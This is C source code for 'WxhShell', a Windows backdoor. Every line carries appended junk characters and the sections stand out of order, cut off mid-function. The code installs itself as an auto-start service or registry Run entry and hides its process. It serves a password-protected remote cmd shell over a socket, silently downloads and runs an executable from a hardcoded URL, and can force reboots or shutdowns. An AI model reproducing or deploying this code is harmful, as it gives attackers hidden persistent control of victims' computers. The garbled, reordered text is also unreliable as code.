    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sJ7sjrEp 1  
    if(Boot(SHUTDOWN)) +\U]p_Fo3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lzoeST  
    else { VV\Xb31J  
    closesocket(wsh); !2tw,QM  
    ExitThread(0); e;;):\p4  
    } yId;\o B  
    break; ~BQV]BJ7  
    } Bhx<g&|j  
  // 获取shell _vIO !*h0  
  case 's': { fkBLrw  
    CmdShell(wsh); {~nvs4X  
    closesocket(wsh); &GU@8  
    ExitThread(0); /p}{#DLB  
    break; *]'qLL7d  
  } F(E<,l2[  
  // 退出 V{FE[v_  
  case 'x': { L1F###c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g9|qbKQ:[  
    CloseIt(wsh); xDLMPo&  
    break; !Y|8z\ Q  
    } *pK lA&_  
  // 离开 Oh-Fp-v87  
  case 'q': { H%cp^G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yXXvs'$R \  
    closesocket(wsh); Q^|6J#o[9  
    WSACleanup(); YnD#p[Wo^  
    exit(1); 2) ?  
    break; x?rbgsB5&  
        } &_YtY47  
  } L^jaBl  
  } Dh?vU~v(6  
W[GQ[h  
  // 提示信息 _^b@>C>O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )"F5lOA6  
} K{N%kk%F  
  } pEkOSG  
E+Im~=m$  
  return; '5V^}/  
} w`0)x5 TGR  
]DU61Z"v?b  
// shell模块句柄 v}&#f&q!  
int CmdShell(SOCKET sock) )ZN(2z  
{ 363cuRP  
STARTUPINFO si; M`bL5J;  
ZeroMemory(&si,sizeof(si)); L=,Y1nO:p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /4^G34  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '}T;b}&s  
PROCESS_INFORMATION ProcessInfo; =tNzGaWJ  
char cmdline[]="cmd"; p; F2z;#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AX8gij  
  return 0; >"O1`xdG  
} |&Au6 3  
^IYJEqK  
// 自身启动模式 q`cEA<~S  
int StartFromService(void) .E#<fz  
{ PK_Fx';ke^  
typedef struct K`~BL=KI  
{ jjX'_E  
  DWORD ExitStatus; 3y/1!A3  
  DWORD PebBaseAddress; 9E^~#j@Zr  
  DWORD AffinityMask; {vLTeIxf.G  
  DWORD BasePriority; .B6`OX&k  
  ULONG UniqueProcessId; 'qdg:_L"  
  ULONG InheritedFromUniqueProcessId; |GuKU!  
}   PROCESS_BASIC_INFORMATION; ,7t3>9 -M"  
;FcExg|k  
PROCNTQSIP NtQueryInformationProcess; U%h7h`=F?  
70duk:Ri0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K q/~T7Ru  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uld_X\;Q4  
9e-*JYF]C  
  HANDLE             hProcess; u >81dO]H  
  PROCESS_BASIC_INFORMATION pbi; xJ N|w\&  
'N*!>mZ<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jk K#e$7  
  if(NULL == hInst ) return 0; cJSVT8  
g;(_Y1YQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FT<H ]Nf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (LRNU)vD7$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BSOjyy1f  
]c5DOv&  
  if (!NtQueryInformationProcess) return 0; B'<!k7Ewy  
\y[Bu^tk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^v ]UcnB0  
  if(!hProcess) return 0; `}[VwQ  
1 pa*T!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nG!&u1*  
KlY,NSlQ  
  CloseHandle(hProcess); #NW Zk.S  
-QN1oK@\mE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BXNI(7xi  
if(hProcess==NULL) return 0; FwXKRZa  
T!Xm")d  
HMODULE hMod; 1]_?$)$T  
char procName[255]; <"hb#Tn  
unsigned long cbNeeded;  <V7SSm  
j.<:00<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MRjH40" 2  
+{5JDyh0  
  CloseHandle(hProcess); 1XqIPiXJ  
A<mj8qz  
if(strstr(procName,"services")) return 1; // 以服务启动 o`b$^hv{A  
Hde]DK,d  
  return 0; // 注册表启动 W+8BQ- 2  
} +.S#=  
wTB)v!  
// 主模块  CEbzJ   
int StartWxhshell(LPSTR lpCmdLine) y>>vGU;  
{ qUifw @  
  SOCKET wsl; _{lx*dq  
BOOL val=TRUE; ;,<r|.6U  
  int port=0; ".Lhte R?  
  struct sockaddr_in door; ay=KfY5  
gCg4;b6g  
  if(wscfg.ws_autoins) Install(); i:V0fBR[>  
rn5"o8|  
port=atoi(lpCmdLine); : : F!   
8$2l^  
if(port<=0) port=wscfg.ws_port; kX@ bv"i  
aUKh}) B  
  WSADATA data; UedvA9$&;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /!^L69um  
o9_(DJ<{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _Wm(/ +G_|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ls[Ls  
  door.sin_family = AF_INET; N8,EI^W8Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X!,#'&p&  
  door.sin_port = htons(port); x1.3W j  
nw~/~eM5=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;%BhhmR)[  
closesocket(wsl); K?5B>dv@A  
return 1; j5PaSk&o=  
} 4}.WhE|h  
u^}7Vs .  
  if(listen(wsl,2) == INVALID_SOCKET) { IUluJ.sXIf  
closesocket(wsl); 0 $n8b/%.  
return 1; ^^n +  
} =#OHxM  
  Wxhshell(wsl); T [i7C3QS  
  WSACleanup(); M,.b`1-w  
jz|Wj  
return 0; ybD{4&ZE  
(! xg$Kz@  
} )$ ofl%+  
aEcktg6h  
// 以NT服务方式启动 >&$$(Bp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mgJShn8]  
{ B0-4 ZT  
DWORD   status = 0; ."~7 \E> t  
  DWORD   specificError = 0xfffffff; lAdOC5+JX  
t7{L[C$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RnMBGxa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @m+pr\h(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GCcwEl!K^  
  serviceStatus.dwWin32ExitCode     = 0; e#l*/G*,  
  serviceStatus.dwServiceSpecificExitCode = 0; g0^~J2sDd  
  serviceStatus.dwCheckPoint       = 0; @?<N +qdH>  
  serviceStatus.dwWaitHint       = 0; &/B2)l6a  
yf `.%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3S[w'  
  if (hServiceStatusHandle==0) return; Fv?R\`52u  
8vz_~p9%j  
status = GetLastError(); z1Bj_u{  
  if (status!=NO_ERROR) LL|_c4$Ky  
{ 4q\.I +r^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )z]q"s5 Y  
    serviceStatus.dwCheckPoint       = 0; :N^@a-  
    serviceStatus.dwWaitHint       = 0; NWo7wVwc/c  
    serviceStatus.dwWin32ExitCode     = status; Ybs=W< -  
    serviceStatus.dwServiceSpecificExitCode = specificError; "wT ~$I"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cJU!zG  
    return; p{A}p9sjx  
  } }4bB7,j  
p{mxk)A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '#cT4_D^lI  
  serviceStatus.dwCheckPoint       = 0; zznPD%#Sc  
  serviceStatus.dwWaitHint       = 0; K$MJ#Zx^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;whFaQi 4  
} #JJp:S~`   
c[wQJc  
// 处理NT服务事件,比如:启动、停止 OoAr%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JVJ1Ay/be  
{ j33P~H~  
switch(fdwControl) )'BJ4[aq\  
{ Ee t+  
case SERVICE_CONTROL_STOP: MZUF! B  
  serviceStatus.dwWin32ExitCode = 0; pm'@2dT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s,UN'~e1  
  serviceStatus.dwCheckPoint   = 0; l|@/?GaH  
  serviceStatus.dwWaitHint     = 0; GibggOj2Q,  
  { ^}i5 0SG:y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |QAeQWP+1  
  } ,z?<7F1q=  
  return; 2a._?(k_y  
case SERVICE_CONTROL_PAUSE: jMz1s%C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \3n{w   
  break; % +kT  
case SERVICE_CONTROL_CONTINUE: 37:b D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GL;x:2XA  
  break; &;6|nl9;  
case SERVICE_CONTROL_INTERROGATE: |d/x~t=  
  break; *j_fG$10g  
}; nZ`2Z7!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [a>JG8[ ,t  
} }}sRTW  
!7IT~pO`  
// 标准应用程序主函数 }5o~R~H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U:mq7Rd8  
{ E<zT  
v@$evmA  
// 获取操作系统版本 'f=)pc#&g  
OsIsNt=GetOsVer(); Ckl7rpY+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jm#d7@~4  
_SBp66 r  
  // 从命令行安装 H0D>A<Ue  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Sx<tj_4P{  
WTV3p,;6a  
  // 下载执行文件 :|n>H+Y  
if(wscfg.ws_downexe) { X%4uShM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %vf2||a$BS  
  WinExec(wscfg.ws_filenam,SW_HIDE); "W_jdE6v  
} w+).pcG( *  
NgE&KPj\  
if(!OsIsNt) { dbMu6Bm\G  
// 如果时win9x,隐藏进程并且设置为注册表启动 BDRYip[Sa  
HideProc(); }Ke}rM<  
StartWxhshell(lpCmdLine); S1H47<)UF  
} zulf%aaL  
else a O"nD_7  
  if(StartFromService()) h 0QYoDvbC  
  // 以服务方式启动 7U{b+=,wK  
  StartServiceCtrlDispatcher(DispatchTable); i">z8?qF  
else G!e}j @@  
  // 普通方式启动 u'$yYzBE  
  StartWxhshell(lpCmdLine); D<_,>{$gW  
}QWTPRn  
return 0; RKo P6LGw  
} :{wsd$Qlj  
0XQ".:+h  
LRCS)UBY(.  
zgq_0w~X  
=========================================== MUCJ/GF*  
v' 9(et  
c5=v`hv  
!ulLGmUn  
5|6z1{g8  
."!8B9 s  
" PBAz` y2  
YL9t3 ]  
#include <stdio.h> Lilk8|?#W  
#include <string.h> 282+1X  
#include <windows.h> +QXYU8bYZ  
#include <winsock2.h> os(Jr!p_=  
#include <winsvc.h> w}U5dM`  
#include <urlmon.h> (AM,4)lW,  
.kB3jfw0,  
#pragma comment (lib, "Ws2_32.lib") +9Hk+.  
#pragma comment (lib, "urlmon.lib") =|6^)lt$  
Top#u  
#define MAX_USER   100 // 最大客户端连接数 9s\i(/RxW  
#define BUF_SOCK   200 // sock buffer U7*VIRibv+  
#define KEY_BUFF   255 // 输入 buffer 3h D2C'KD  
](9{}DHV  
#define REBOOT     0   // 重启 G7/?hky 0.  
#define SHUTDOWN   1   // 关机 qh)!|B  
-9H!j4]T?  
#define DEF_PORT   5000 // 监听端口 DX%8. @  
3Q*RR"3  
#define REG_LEN     16   // 注册表键长度 uZ0 $s$  
#define SVC_LEN     80   // NT服务名长度 SRG!G]?-  
!7ZfT?&  
// 从dll定义API W kDn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j6R{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0IPhVG~#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t7!>5e)C}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4M0v1`k  
ZB^4(F')H  
// wxhshell配置信息 :E >n)_^  
struct WSCFG { 7>2j=Y_Kp  
  int ws_port;         // 监听端口 ,$6MM6W;-F  
  char ws_passstr[REG_LEN]; // 口令 JIY ^N9_  
  int ws_autoins;       // 安装标记, 1=yes 0=no hyvV%z Z  
  char ws_regname[REG_LEN]; // 注册表键名 V&,<,iNN  
  char ws_svcname[REG_LEN]; // 服务名 5cNzG4z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qh(-shZ4Du  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UwL"%0u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %B {D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]!tYrSM!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y9G57D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cj4b]*Q,  
YAC zznN  
};  +s R *d  
o wpJ7S1~  
// default Wxhshell configuration #`vGg9  
struct WSCFG wscfg={DEF_PORT, #Rm=Em}d  
    "xuhuanlingzhe", @Pb 1QLiz  
    1, d"d)<f   
    "Wxhshell", %\{?(baOA  
    "Wxhshell", Eps\iykB  
            "WxhShell Service", tFST.yT>zg  
    "Wrsky Windows CmdShell Service", li_pM!dWU_  
    "Please Input Your Password: ", [>J~M!yu:r  
  1, {ZsWZJ!  
  "http://www.wrsky.com/wxhshell.exe", 8F\Msx  
  "Wxhshell.exe" 3R=3\;  
    }; 3Ibt'$dK  
_[OEE<(  
// 消息定义模块 ZvnZ}t >?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %`\3V {2*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rd 35)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v/TlXxfil  
char *msg_ws_ext="\n\rExit."; ik:)-GV;s  
char *msg_ws_end="\n\rQuit."; 3~3(G[w  
char *msg_ws_boot="\n\rReboot..."; %}]4Nsde  
char *msg_ws_poff="\n\rShutdown..."; norc!?L  
char *msg_ws_down="\n\rSave to "; 7si*%><X  
N13;hB<  
char *msg_ws_err="\n\rErr!"; C"` 'Re5)  
char *msg_ws_ok="\n\rOK!"; jQ\ MB  
zS"zb  
char ExeFile[MAX_PATH]; b{|/J<Fe  
int nUser = 0; >/HU'  
HANDLE handles[MAX_USER]; p:Ld)U*  
int OsIsNt; =|5bhwU]  
|3T|F3uEX  
SERVICE_STATUS       serviceStatus; <# x%A0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uuK]<h*  
d>"$^${  
// 函数声明 X @jYQ.  
int Install(void); f_P+qm  
int Uninstall(void); Oi%~8J>  
int DownloadFile(char *sURL, SOCKET wsh); @~U6=(+  
int Boot(int flag); ]Y: W[p  
void HideProc(void); % K7EF_%  
int GetOsVer(void); v/ 00L R  
int Wxhshell(SOCKET wsl); >RqT7n8h  
void TalkWithClient(void *cs); y:[VRLo  
int CmdShell(SOCKET sock); I^\bS  
int StartFromService(void); /2\= sTd  
int StartWxhshell(LPSTR lpCmdLine); nIqY}??  
ttq< )4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -^xKG'uth  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0)Xue9AS  
cLko  
// 数据结构和表定义 'S D|ObBY  
SERVICE_TABLE_ENTRY DispatchTable[] = D%Jc?6/I#3  
{ Pc; 14M  
{wscfg.ws_svcname, NTServiceMain}, ' /<b[  
{NULL, NULL} 4k2c mM$  
}; yb.|7U?/x  
{_X1&&>8/  
// 自我安装 "O1*uwm  
int Install(void) 6p]R)K>wS  
{ 79B`w #  
  char svExeFile[MAX_PATH]; |`;1p@w"  
  HKEY key; (xSi6EZ6;  
  strcpy(svExeFile,ExeFile); 8qYGlew,  
%b%<g%@i  
// 如果是win9x系统,修改注册表设为自启动 i~s9Ot  
if(!OsIsNt) { mhkAI@)>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +xdFkc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,, #rv-*  
  RegCloseKey(key); `::'UfHc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YM.IRj2/1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /R$x-7t)^(  
  RegCloseKey(key); sS2E8Z2  
  return 0; "KE38`NL  
    } TN@JPoH  
  } O+Lb***b"  
} 5b4V/d* '  
else { . .je<   
:!YJ3:\  
// 如果是NT以上系统,安装为系统服务 I)%jPH:ua  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (5DGs_>  
if (schSCManager!=0) Vh9s.=*P@  
{ #~-&&S4a.J  
  SC_HANDLE schService = CreateService u.4vp]eU  
  ( X%1.mTU~K  
  schSCManager, FITaL@{c  
  wscfg.ws_svcname, )Gp\_(9fc  
  wscfg.ws_svcdisp, lLFBop  
  SERVICE_ALL_ACCESS, {UC<I.5X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Owu:}   
  SERVICE_AUTO_START, 'CAukk|  
  SERVICE_ERROR_NORMAL, i|{nj\6w^  
  svExeFile, 0uJzff!|  
  NULL, TvG:T{jwy  
  NULL, gsm^{jB  
  NULL, )MW}!U9G  
  NULL, }' 0Xz9/ l  
  NULL }vA nP]!A5  
  ); #|1QA3KzO  
  if (schService!=0) =y]b|"s~2  
  { R9-JjG2v  
  CloseServiceHandle(schService); eh/OCzWH  
  CloseServiceHandle(schSCManager); G$`4.,g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >N1]h'q>  
  strcat(svExeFile,wscfg.ws_svcname); ~dr1Qi#j?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GfPz^F=ie.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N4DDH^h  
  RegCloseKey(key); lR2;g:&H  
  return 0; W3/Stt$D  
    } U5$DJ5>8  
  } sP8&p*TJF  
  CloseServiceHandle(schSCManager); yrNc[kS/  
} Ns= b&Uyc  
} [ .uaO  
vFC=qLz:  
return 1; M`fXH 3D  
} Cj9O [  
iT9Ex9RL  
// 自我卸载 (Tb0PzA  
int Uninstall(void) |ylTy B  
{ dq/?&X  
  HKEY key; 5@A=, GPUn  
Q~!hr0 ZR  
if(!OsIsNt) {  CF92AY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^&/&I9z  
  RegDeleteValue(key,wscfg.ws_regname); .eXA.9 |jm  
  RegCloseKey(key); 'J0s%m|j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hg=G//  
  RegDeleteValue(key,wscfg.ws_regname); 0F'UFn>{  
  RegCloseKey(key); =usDI<3r  
  return 0; _`[6jhNa!  
  } #$B,8LFz,$  
} "$cT*}br  
} Rj;e82%%N  
else { "UnSZ[;t  
.ehvhMuG|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <FT\u{9$  
if (schSCManager!=0) #$C]0]|  
{ q=i<vcw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LK/V]YG  
  if (schService!=0) n$Fm~iPo,  
  { H{zuIN/.1  
  if(DeleteService(schService)!=0) { W2Z]?l;vQQ  
  CloseServiceHandle(schService); 0BE^qe  
  CloseServiceHandle(schSCManager); ByvqwJY  
  return 0; Y[?Wt/O;  
  } arL&^]JnZ,  
  CloseServiceHandle(schService); |Z|xM  
  } 8%f! X51  
  CloseServiceHandle(schSCManager); U(LR('-h  
} |L{dQ)-'l  
} =e{KtX.  
;]x5;b9`  
return 1; 6YGr"Kj &  
} gF5EtdN?|  
5mVu]T`  
// 从指定url下载文件 !sQ8,l0h  
int DownloadFile(char *sURL, SOCKET wsh) EZRZ)h  
{ "FvlZRfXj  
  HRESULT hr; \ySc uT  
char seps[]= "/";   NX_S  
char *token; >*xzSd? \  
char *file; (k.7q~:  
char myURL[MAX_PATH]; e-=PT 1T`  
char myFILE[MAX_PATH]; 4!%LD(jB`B  
Y!$ z7K  
strcpy(myURL,sURL); oHnpwU  
  token=strtok(myURL,seps); 6dp_R2zH~o  
  while(token!=NULL) I;:_25WGC  
  { )p9n|C  
    file=token; Gn4b\y%%  
  token=strtok(NULL,seps); $_5v^QL  
  } 4aKy]zPoE  
j/|qge4  
GetCurrentDirectory(MAX_PATH,myFILE); X&X')hzIt  
strcat(myFILE, "\\"); ' qS!n  
strcat(myFILE, file); ~kT{O!x}4  
  send(wsh,myFILE,strlen(myFILE),0); @?? 6)C  
send(wsh,"...",3,0); O G}&%NgH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tTp`e0L*m  
  if(hr==S_OK) XhV"<&v  
return 0; O#Hz5 A5  
else !iOu07<n&D  
return 1; 4 jro4B`  
)E2Lf ]  
} &r!>2$B\  
(oEA)yc|  
// 系统电源模块 H9!*DA<W  
int Boot(int flag) boovCW  
{ Q3Lqj2r  
  HANDLE hToken; *.l=> #qF  
  TOKEN_PRIVILEGES tkp; %&(\dt&R1h  
ox#4|<qM  
  if(OsIsNt) { $, 42h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kA`qExw%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d^^>3L!h  
    tkp.PrivilegeCount = 1; Lr&BZM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }C#d;JC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k"zHrn"$  
if(flag==REBOOT) { 5L#M7E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x#j_}L!V;  
  return 0; O v6=|]cW  
} Big-)7?  
else { M!'tD!NWc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pl&GFf o  
  return 0; kk#d-! $[  
} ,1L^#?Q~  
  } ;\.&FMi  
  else { TA7w:<  
if(flag==REBOOT) { !/j|\_O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -E"o)1Pj6C  
  return 0; c[q3O**  
} 6fyW6xv[,  
else { ?GZs5CnS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e~dU "  
  return 0; 0g4cyK~n]  
} ljmHX2p  
} '9XwUQx  
4HAfTQ 1G  
return 1; "H@AT$Ny(  
} 4R6 .GO  
2c]O Mtk  
// win9x进程隐藏模块 j)Gr@F>  
void HideProc(void) ccAEN  
{ +.St"f/1  
c7_b^7h1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Fl:bRH+  
  if ( hKernel != NULL ) GvY8O|a  
  { _`58G#z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tnntHQ&b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4V5*6O9(u  
    FreeLibrary(hKernel); E)bP}:4V  
  } #D8)rs.9  
u 05O[>w  
return; z)Gr`SA<  
} ><HXd+- sd  
_qfdk@@g  
// 获取操作系统版本 GEgf_C!%@  
int GetOsVer(void) yMxS'j1  
{ i8F~$6C  
  OSVERSIONINFO winfo; 1'U-n{fD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :+n7oOV  
  GetVersionEx(&winfo); .w&Z=YM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HAXx`r<  
  return 1; [gDvAtTZ5  
  else /hHD\+0({  
  return 0; O.!?O(  
} RIlPH~  
xi0&"?7la  
// 客户端句柄模块 DlP=R  
int Wxhshell(SOCKET wsl) j43HSY7@  
{ xhv)rhu@  
  SOCKET wsh; ~mU#u\r(*  
  struct sockaddr_in client; =n!8>8d  
  DWORD myID; }Na*jr0y9{  
qSR %#  
  while(nUser<MAX_USER) HU'}c*d]  
{ XUWza=BR"  
  int nSize=sizeof(client); @EvnV.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MwZ`NH|n3"  
  if(wsh==INVALID_SOCKET) return 1; nr}H;wB  
v{+*/NQ_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +%^D)   
if(handles[nUser]==0) [@)|j=:i:  
  closesocket(wsh); 4 Q.70  
else O<5bsKw'r  
  nUser++; Qw ED>G|  
  } ZtiOf}@i\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v,s]:9f`\>  
&fWZ%C7|jC  
  return 0; 71eD~fNdx  
} azSS:=A  
`YJ`?p  
// 关闭 socket g6S8@b))|  
void CloseIt(SOCKET wsh) \AG ,dMS  
{ ' x|B'  
closesocket(wsh); ~$5[#\5%G  
nUser--; +VfJ: [q  
ExitThread(0); qe0@tKim  
} /#HY-b  
!&X}? NK  
// 客户端请求句柄 L/shF}<  
void TalkWithClient(void *cs) +] uY  
{ nt7ui*k  
_-^@Jx[  
  SOCKET wsh=(SOCKET)cs; {.sF&(e   
  char pwd[SVC_LEN]; zOcMc{w0   
  char cmd[KEY_BUFF]; /bVI'fT  
char chr[1]; 7dLPy[8";t  
int i,j; 'del|"h!M  
i/->g:47P  
  while (nUser < MAX_USER) { dM)fr  
I".r`$XZ  
if(wscfg.ws_passstr) { 6@ + >UZr\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r$+9grm<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b'G4KNW  
  //ZeroMemory(pwd,KEY_BUFF); h0!j;fn  
      i=0; 5s0H4?S  
  while(i<SVC_LEN) { X"R;/tZ S4  
3Vhm$y%Td  
  // 设置超时 =|6IyL_N  
  fd_set FdRead; 2'++G[z  
  struct timeval TimeOut; -y~JNDS1]  
  FD_ZERO(&FdRead); xv /w %  
  FD_SET(wsh,&FdRead); TJCoID7a8  
  TimeOut.tv_sec=8; -7lJ  
  TimeOut.tv_usec=0; dJ$}]   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lA{Sr0f TP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tf+B<B:  
- Q,lUP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5dhRuc  
  pwd=chr[0]; F3?v&  
  if(chr[0]==0xd || chr[0]==0xa) { V&gUxS]*  
  pwd=0; :Y"f .>  
  break; 4ed( DSN  
  } &9'6hMu  
  i++; KzhldMJ^zq  
    } @wB$qd;v  
O,7P6  
  // 如果是非法用户,关闭 socket #<)u%)`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EF}Z+7A  
} X)Kd'6zg  
-~jM=f$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S\Q/ "Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g5H+2lSC  
e+S%` Sg  
while(1) { jA6:-Gz  
a7ZPV1k  
  ZeroMemory(cmd,KEY_BUFF); kfn5y#6NZ  
k;"=y )@o  
      // 自动支持客户端 telnet标准   Z_S~#[\7^]  
  j=0; >RRb8=[J  
  while(j<KEY_BUFF) { Rj-<tR{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]NN9FM.2b/  
  cmd[j]=chr[0]; gXG1w>  
  if(chr[0]==0xa || chr[0]==0xd) { C8i}~x<  
  cmd[j]=0; s`&8tP  
  break; CfAX,f"ZP  
  } 8K{ TRPy  
  j++; 5pz%DhjLo  
    } .F9>|Xx[  
D\>CEBt  
  // 下载文件 S&9{kt|BI  
  if(strstr(cmd,"http://")) { i_V~SC`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 55fV\3F|R  
  if(DownloadFile(cmd,wsh)) C^.:{  
